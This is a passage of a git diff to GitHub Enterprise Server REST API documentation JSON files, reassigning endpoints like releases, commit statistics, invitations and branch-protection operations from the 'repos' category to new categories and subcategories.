+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Get a published release with the specified tag.</p>",
@@ -70895,10 +70835,8 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p><strong>Note:</strong> This returns an <code>upload_url</code> key corresponding to the endpoint for uploading release assets. This key is a <a href=\"https://docs.github.com/enterprise-server@3.1/rest/overview/resources-in-the-rest-api#hypermedia\">hypermedia resource</a>.</p>",
@@ -71053,10 +70991,8 @@
       "subcategory": "releases"
     },
     "slug": "update-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can edit a release.</p>",
@@ -71188,10 +71124,8 @@
       "subcategory": "releases"
     },
     "slug": "delete-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "responses": [
       {
@@ -71286,10 +71220,10 @@
       "subcategory": "releases"
     },
     "slug": "list-release-assets",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -71404,10 +71338,10 @@
       "subcategory": "releases"
     },
     "slug": "upload-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "contentType": "*/*",
     "notes": [],
     "bodyParameters": [],
@@ -71978,8 +71912,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-weekly-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -72057,8 +71991,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-last-year-of-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -72136,8 +72070,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-all-contributor-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -72215,8 +72149,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-weekly-commit-count",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -72289,8 +72223,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-hourly-commit-count-for-each-day",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -72437,8 +72371,8 @@
       "subcategory": "statuses"
     },
     "slug": "create-a-commit-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "contentType": "application/json",
@@ -82620,8 +82554,8 @@
       "subcategory": "invitations"
     },
     "slug": "list-repository-invitations-for-the-authenticated-user",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -82701,8 +82635,8 @@
       "subcategory": "invitations"
     },
     "slug": "accept-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -82781,8 +82715,8 @@
       "subcategory": "invitations"
     },
     "slug": "decline-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
diff --git a/lib/rest/static/decorated/ghes-3.2.json b/lib/rest/static/decorated/ghes-3.2.json
index 9ef354c394..ac8afb5345 100644
--- a/lib/rest/static/decorated/ghes-3.2.json
+++ b/lib/rest/static/decorated/ghes-3.2.json
@@ -37204,10 +37204,8 @@
       "subcategory": "branches"
     },
     "slug": "list-branches",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -37289,10 +37287,8 @@
       "subcategory": "branches"
     },
     "slug": "get-a-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -37390,10 +37386,10 @@
       ]
     },
     "slug": "get-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -38154,10 +38150,10 @@
       ]
     },
     "slug": "update-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "responses": [
@@ -38859,10 +38855,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -38943,10 +38939,10 @@
       "subcategory": "branches"
     },
     "slug": "get-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -39023,10 +39019,10 @@
       "subcategory": "branches"
     },
     "slug": "set-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Adding admin enforcement requires admin or owner permissions to the repository and branch protection to be enabled.</p>",
@@ -39103,10 +39099,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -39194,10 +39190,10 @@
       ]
     },
     "slug": "get-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -39408,10 +39404,10 @@
       ]
     },
     "slug": "update-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Updating pull request review enforcement requires admin or owner permissions to the repository and branch protection to be enabled.</p>\n<p><strong>Note</strong>: Passing new arrays of <code>users</code> and <code>teams</code> replaces their previous values.</p>",
@@ -39589,10 +39585,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -39680,10 +39676,10 @@
       ]
     },
     "slug": "get-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>When authenticated with admin or owner permissions to the repository, you can use this endpoint to check whether a branch requires signed commits. An enabled status of <code>true</code> indicates you must sign commits on this branch. For more information, see <a href=\"https://help.github.com/articles/signing-commits-with-gpg\">Signing commits with GPG</a> in GitHub Help.</p>\n<p><strong>Note</strong>: You must enable branch protection to require signed commits.</p>",
@@ -39772,10 +39768,10 @@
       ]
     },
     "slug": "create-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>When authenticated with admin or owner permissions to the repository, you can use this endpoint to require signed commits on a branch. You must enable branch protection to require signed commits.</p>",
@@ -39864,10 +39860,10 @@
       ]
     },
     "slug": "delete-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -39948,10 +39944,10 @@
       "subcategory": "branches"
     },
     "slug": "get-status-checks-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -40073,10 +40069,10 @@
       "subcategory": "branches"
     },
     "slug": "update-status-check-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Updating required status checks requires admin or owner permissions to the repository and branch protection to be enabled.</p>",
@@ -40187,10 +40183,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-status-check-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -40266,10 +40262,10 @@
       "subcategory": "branches"
     },
     "slug": "get-all-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -40395,10 +40391,10 @@
       "subcategory": "branches"
     },
     "slug": "add-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -40548,10 +40544,10 @@
       "subcategory": "branches"
     },
     "slug": "set-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -40695,10 +40691,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -40799,10 +40795,10 @@
       "subcategory": "branches"
     },
     "slug": "get-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists who has access to this protected branch.</p>\n<p><strong>Note</strong>: Users, apps, and teams <code>restrictions</code> are only available for organization-owned repositories.</p>",
@@ -40884,10 +40880,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -40963,10 +40959,10 @@
       "subcategory": "branches"
     },
     "slug": "get-apps-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the GitHub Apps that have push access to this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>",
@@ -41091,10 +41087,10 @@
       "subcategory": "branches"
     },
     "slug": "add-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified apps push access for this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -41233,10 +41229,10 @@
       "subcategory": "branches"
     },
     "slug": "set-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of apps that have push access to this branch. This removes all apps that previously had push access and grants push access to the new list of apps. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -41374,10 +41370,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of an app to push to this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -41473,10 +41469,10 @@
       "subcategory": "branches"
     },
     "slug": "get-teams-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the teams who have push access to this branch. The list includes child teams.</p>",
@@ -41602,10 +41598,10 @@
       "subcategory": "branches"
     },
     "slug": "add-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified teams push access for this branch. You can also give push access to child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The teams that can have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -41745,10 +41741,10 @@
       "subcategory": "branches"
     },
     "slug": "set-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of teams that have push access to this branch. This removes all teams that previously had push access and grants push access to the new list of teams. Team restrictions include child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The teams that can have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -41887,10 +41883,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of a team to push to this branch. You can also remove push access for child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Teams that should no longer have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -41986,10 +41982,10 @@
       "subcategory": "branches"
     },
     "slug": "get-users-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the people who have push access to this branch.</p>",
@@ -42114,10 +42110,10 @@
       "subcategory": "branches"
     },
     "slug": "add-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified people push access for this branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames for people who can have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -42256,10 +42252,10 @@
       "subcategory": "branches"
     },
     "slug": "set-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
